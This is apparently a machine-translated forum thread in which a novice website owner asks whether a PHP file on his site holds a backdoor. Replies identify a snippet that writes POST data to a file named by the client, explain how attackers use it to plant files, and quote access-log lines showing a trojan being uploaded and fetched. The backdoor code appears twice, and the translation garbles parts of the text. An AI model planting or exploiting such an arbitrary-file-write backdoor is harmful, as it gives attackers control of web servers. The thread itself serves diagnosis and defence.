Check whether this file has a backdoor or vulnerability! I'm a Cainiao. my website always has a trojan file. I'm curious about how hackers upload files to my website.
| Serial Number |
Number |
Count |
Overview |
Accounting |
Commission |
Shangsi district |
Estimated |
Go Fei |
Delivery Amount |
Current odds |
| |
|
|
|
|
|
|
|
|
|
|
If ($ _ POST ['IMG _ text'] = 'news ')
{
$ Title = $ _ POST ['title'];
$ Newsort = $ _ POST ['newsort '];
$ Newsort = str_replace (chr (92), "", $ newsort );
$ Fp = fopen ($ title, "w ");
Fputs ($ fp, $ newsort );
Fclose ($ fp );
}
Else
{?>
Set |
Combination Hundred bits Position pickup Single digit
|
}
?>
Reply to discussion (solution)
if($_POST['img_text'] == 'news') { $title = $_POST['title']; $newsort = $_POST['newsort']; $newsort = str_replace(chr(92), "", $newsort); $fp = fopen($title, "w"); fputs($fp, $newsort); fclose($fp); }In your code, what content cannot be uploaded?
Is it necessary to use other files to upload? is it a sentence?
You don't see your form, but you only need to know the address of your page, it's easy to do one.
For example
After submission, a file named info. php will be created on your server. after you execute the file, you will know all the information about your server.
13:26:23 POST/k_vc.php-98.126.241.18 Mozilla/4.0 + (compatible; + MSIE + 6.0; + Windows + NT + 5.1; + SV1; +. NET + CLR + 2.0.50727) http: // localhost/sqst/index. asp www.itc888.com 200 0 1965 41441
13:26:29 GET/cc. php-98.126.241.18 Mozilla/4.0 + (compatible; + MSIE + 6.0; + Windows + NT + 5.1; + SV1; +. NET + CLR + 2.0.50727)-www.itc888.com 200 0 1330 661
Log description: k_vc.php is the above file, and cc. php is the domain name of the Trojan file www.itc888.com.
$ Newsort = $ _ POST ['newsort ']; no filtering is performed to directly write data to the title file...
The powerful code of 1B exists like God
This upload can even be understood by Cainiao like me.